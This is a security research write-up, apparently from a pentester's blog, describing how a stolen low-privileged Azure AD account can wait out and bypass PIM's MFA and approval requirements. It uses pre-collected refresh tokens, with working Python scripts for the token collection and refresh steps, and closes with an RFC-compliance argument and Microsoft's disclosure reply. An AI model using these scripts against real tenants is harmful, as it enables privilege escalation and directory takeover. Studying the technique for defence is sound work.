Summary
Microsoft Privileged Identity Management (PIM) provides features for limiting standing permissions in a tenant by allowing Just In Time (JIT) administrative role assignments to users. A patient attacker that has compromised a low privileged user with PIM eligibility may bypass any PIM configuration to eventually assume the elevated permissions of that user. This article contains explains how to easily bypass PIM in a these scenarios, how the Microsoft Identity Platform implements PIM, and my personal defense as to why this is a security issue.
What is PIM?
PIM is a JIT administrative access service, built into Azure AD. It can be used to assign JIT access to Azure AD roles, Azure RBAC roles, and role-assignable groups.
At the time of writing, Microsoft states the following benefits:
"
- Provide just-in-time privileged access to Azure AD and Azure resources
- Assign time-bound access to resources using start and end dates
- Require approval to activate privileged roles
- Enforce multi-factor authentication to activate any role
- Use justification to understand why users activate
- Get notifications when privileged roles are activated
- Conduct access reviews to ensure users still need roles
- Download audit history for internal or external audit
- Prevents removal of the last active Global Administrator and Privileged Role -
- Administrator role assignments
"
Attacker scenarios - blocked by PIM
During a security test, a common scenario is the pentester compromising a user that has no standing permissions in Azure or Azure AD, but is able to activate PIM for a highly privileged administrative role, such as Global Administrator in Azure AD.
The pentester may find themselves in one of the following situations:
- The role can be activated with no MFA or approval, and simply a justification text (default)
- The role can be activated with MFA and/or an approver (security enhanced configuration)
In the first scenario, the pentester is able to gain access to the Global Administrator role without much more than some fake justification text. However, in the second situation, things are a bit more tricky - without access to the MFA device, there is no way to immediately activate the role.
Quietly bypassing MFA and approval requirements for PIM activations
As it turns out, PIM does not offer any strong defense against an attacker in this scenario. The attacker can simply collect a refresh token for a privileged scope on Azure AD via the Microsoft Identity Platform, then wait until PIM is legitimately activated by the user. The pentester can then use the original refresh token to issue new privileged access tokens while the PIM role is activated by the legitimate user.
To summarize this process in a diagram:
The technique is dead simple, but the details of the process expose some insecurities in the implementation of the underlying Microsoft Identity Platform.
Collecting a “silver token”
To collect a “silver token” that allows us to issue new privileged access tokens in the future, we have a few options:
- Intercept the token while logging in interactively in the Azure Portal - this may be blocked if access to the Azure portal is blocked in the directory configurations.
- Issue a new token using a PRT - See Dirk-Jan Mollema’s research on the topic. Requires code execution on a victim’s machine.
- Issue a new token programmatically via a built-in application - Uses the same Microsoft APIs as the PRT method, but requires access to the user’s credentials instead of the PRT.
I wont discuss the first method because it is so trivial, and Dirk-Jan’s PRT research can be found here: https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/.
Instead, I will focus on how to script the collection of a refresh token without access to a PRT.
Scripting the collection of a “silver token”
Overall, we just need to follow this basic process:
- Identify an application that has the target Azure AD permissions “consented” via the user, or an administrator.
- Issue an HTTPs request to the Microsoft Identity Platform to invoke an OAuth flow to request a new refresh token with the target scope, for the application from step 1.
- Perform an interactive login to the Azure AD application, and collect the returned refresh token.
Step 1. can be solved by several built-in applications. For example, both the Azure Powershell and Azure CLI applications are provisioned for all tenants by default, and high Azure AD privileges are consented by default for the app. The Azure CLI application is one example, which has a client ID of 04b07795-8ddb-461a-bbee-02f9e1bf7b46
and a reply URL of http://localhost:21282
, which makes it easy to use for this project.
Turning this process into a python script, we get the following script:
import secrets
import requests
import urllib.parse
import http.server
import webbrowser as webb
import socketserver
client_id = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
replyUrl = "http://127.0.0.1:21282"
code = ''
done = False
# an HTTP handler that listens for the authorization code and sets it upon retrieval
codeVerifier = secrets.token_urlsafe(64)
class Server(socketserver.TCPServer):
# Avoid "address already used" error when frequently restarting the program
allow_reuse_address = True
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
global done
global code
self.send_response(200, "OK")
self.end_headers()
query_params = urllib.parse.parse_qs(self.path)
if "/?code" in query_params.keys():
code = query_params[ "/?code" ][0]
else:
print( "could not find a code in the response." )
done = True
# initiate the OAuth Authorization Code Flow for the Azure CLI app
webb.open_new( f"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?response_type=code&client_id={client_id}&redirect_uri={replyUrl}&scope=https://graph.microsoft.com/.default%20offline_access&code_challenge_method=plain&code_challenge={codeVerifier}" )
# Create a simple HTTP server and listen on port 21282 for the authorization code
with Server(("", 21282), Handler) as httpd:
while not done:
httpd.handle_request()
body = {
"grant_type": "authorization_code",
"client_id": client_id,
"code_verifier": codeVerifier,
"redirect_uri": replyUrl,
"code": code
}
headers = {
"Origin" : replyUrl
}
response = requests.post( "https://login.microsoftonline.com/organizations/oauth2/v2.0/token", data=body, headers=headers )
refresh_token = response.json()['refresh_token']
print(refresh_token)
Using this script, it is possible to collect a refresh token for the Azure CLI application at the default scope. This includes Directory.AccessAsUser.All, which essentially allows the user to act in the context of their current permissions against the directory.
That refresh token can be used in subsequent calls to the Identity Platform after a legitimate user has activated PIM to issue our privileged access tokens:
body = {
"client_id" : client_id,
"refresh_token": refresh_token,
"grant_type": "refresh_token"
}
response = requests.post( "https://login.microsoftonline.com/organizations/oauth2/v2.0/token", data=body)
access_token = response.json()[ "access_token" ]
print(access_token)
If we continually refresh this access token, we will be able to call the Microsoft Graph APIs in the context of the compromised user’s elevated permissions whenever they activate their PIM roles.
OAuth specification deviance
Up to this point, we have simply worked with refresh tokens issued for the default scope on the Microsoft Graph APIs, which actually issue us tokens with the Directory.AccessAsUser.All scope. This is a very useful scope because it represents the user’s current permissions against the directory at all times.However, what if all built-in applications are blocked via conditional access, and there are no accessible applications with the Directory.AccessAsUser.All scope pre-consented?
What if we use a more specific OAuth scope in this scenario, such as an individual scope that a user may have consented to?
To test this, we have the following setup:
Where “User Manager” is a custom application in our directory, with the permission user.readwrite.all pre-consented by a directory administrator.
If we update our code above to give us a refresh token for the new application and new scope, we find that we can request a new token for the User.ReadWrite.All scope, even though our user does not have an Azure AD role that allows them to write users to the directory:
Once the user elevates their permissions via PIM in another session, the attacker is then able to utilize the pre-issued token with the User.ReadWrite.All scope to create another user in the directory.
This behavior is actually noncompliant with the OAuth RFC. According to the RFC, the initial refresh and access token should not be issued with a scope that the user does not have access to. This issue was reported to Microsoft, but not accepted as a security issue.
Commentary - is this really a security issue?
The rest of this article is personal commentary on the OAuth finding and technique described above, and my defense as to why I believe this is a security issue.
When I found this issue, my initial reaction was that it is not, in fact, a security issue. The behavior makes sense - when you elevate privileges via PIM, it would be annoying to re-login every single time, so Microsoft keeps the previous session alive with higher privileges.
My skepticism began when I started digging into what attacks or techniques I can actually prevent using PIM, and what settings I need to implement to prevent those attacks.
PIM is used for managing privileged roles, so it is really only a preventative defense-in-depth security control, adding additional protection if some other compromise occurs.
So, my initial list of use cases and wishes for PIM was based on defense-in-depth scenarios. In general, my expectation was that PIM would create a “sandbox” for a privileged user session, which could not be impacted by tokens issued previously. oh, how I was wrong.
Desired defensive scenarios
My initial defense-in-depth use cases looked like the following:
Scenario: An attacker cracks a user’s password. The affected user has standing permissions as a regular Azure AD user, but can activate Global Administrator with PIM. Activation requires MFA and the PIM approval flow from a second user.
Desired protection: The attacker cannot access Global Administrator privileges with the compromised user, because they cannot bypass MFA or would get caught when asking for approval.
Scenario: An Azure AD access token is stolen by an attacker via unknown means. The affected user has standing permissions as a regular Azure AD user, and can elevate to Global Administrator with no MFA or approval. The attacker cannot steal additional access tokens. The affected user hadn’t elevated their permissions via PIM when the access token was issued.
Desired protection: The attacker should not be able to use the stolen access token for administrative functions, and should be limited to the standing permissions of the compromised user before PIM activation. Even if the user activates their PIM role assignment before the stolen access token expires, the permissions granted by the stolen access token should not change, because the scope of that token has not changed. Additionally, the scopes in the pre-PIM token should not include any scopes that the user does not have at the time, as is detailed in the OAuth RFC 6749 section 4.1.1.
Scenario: An Azure AD refresh token is stolen by an attacker via unknown means. The affected user has standing permissions as a regular Azure AD user, and can elevate to Global Administrator with no MFA or approval. The attacker cannot steal additional refresh tokens. The affected user hadn’t elevated their permissions via PIM when the refresh token was issued.
Desired protection: When the affected user eventually activates their PIM role, The attacker should not be able to use the stolen refresh token to issue new access tokens that have elevated PIM permissions. Any subsequently issued access token should be limited to the scope issued to the original refresh token. This limitation is specified in the OAuth RFC 6749 section 6.
Why this is a security issue - PIM does not offer any real defense
Surprisingly, the desired functionality in all three of the above scenarios is not supported in PIM. This is due to two deviations from RFC 6749:
- Users can request tokens from the Microsoft identity platform with scopes that the user does not have access to (non-compliant with section 4.1.1).
For example, normal users can request an access and refresh token with the RoleManagement.ReadWrite.Directory scope, as long as the application for which they request that scope has already had the scope consented by an administrator. This is not a limitation for attackers because by default, there are several built in applications that have all Graph API scopes consented, such as Azure Powershell and Azure CLI.
- A stolen refresh token may be used to refresh access tokens that provide users with higher privileges to the directory than the original refresh token(non-compliant with section 6).
This issue is largely due to the Directory.AccessAsUser.All scope on Microsoft Graph. This scope allows the token to be mapped to the current permissions of the user. Because this scope exists, an attacker can simply issue a refresh token for this scope, and any token issued after PIM activation will automatically assume the higher privileges of the user, without violating section 4.1.1 of the OAuth RFC. While this is technically not a violation of section 6 in the RFC, section 6 on refreshing access tokens states that “The requested scope MUST NOT include any scope not originally granted by the resource owner”. Allowing subsequently issued access tokens to have a higher effective scope is arguably deviant to the intention of the RFC.
Why this is a security issue
After digging into the implementation of OAuth within the Microsoft Identity Platform and evaluating the useability of the service for protecting privileged role assignments, I reconsidered my initial dismissal of this issue. It turns out that PIM is not usable for any of the defense in depth scenarios I list above. Worse, it is not usable because of RFC deviations, default applications, and unnecessary additions to the Microsoft Graph application such as the Directory.AccessAsUser.All scope.
Given that Microsoft states that their Identity Platform is based on OAuth, any security properties that are lost due to deviations from OAuth constitute a security issue. Additionally, just in time privileged access is not built into the OAuth protocol, so weaknesses in the implementation of JIT administrative access on top of OAuth are the responsibility of Microsoft, and not an inherent weakness in the standard itself.
Then what is PIM good for?
Knowing the limitations of PIM, it is also interesting to consider what the service is actually useful for. I do still think it is useful, but in a few less obvious ways. My list is below:
- Decreasing the speed of compromise - It may take 6 months for a user to activate their PIM role
- A central interface for managing administrative access, and easier access reviews on administrative access
- Additional Audit logs dedicated to administrative access
- Protection against users with stale administrative role assignments - If a compromised administrative user never activates their role AND the PIM role has MFA or approval requirements, the adversary cannot make use of their PIM eligibility.
Responsible Disclosure
This finding was originally reporting to Microsoft in April 2021. Microsoft’s initial claim was that this is not a security issue, and is a weakness in the OAuth protocol.
After several more exchanges, in May 2022 Microsoft maintains the following:
“Our team investigated the information shared and our stance is that this is not a vulnerability. The vulnerability raised assumes the theft of an OAuth 2.0 authentication token. OAuth tokens are bearer tokens and a party in possession of such token can impersonate a legitimate user to which the token was issued. This is a well-known security weakness for bearer tokens that is not addressed by OAuth 2.0 protocol. Due to Azure Active Directory Privileged Identity Management (PIM) use of OAuth 2.0 protocol, this vulnerability may lead to eventual exploitation of elevated privileges through using refresh tokens to gain access tokens with additional privileges.”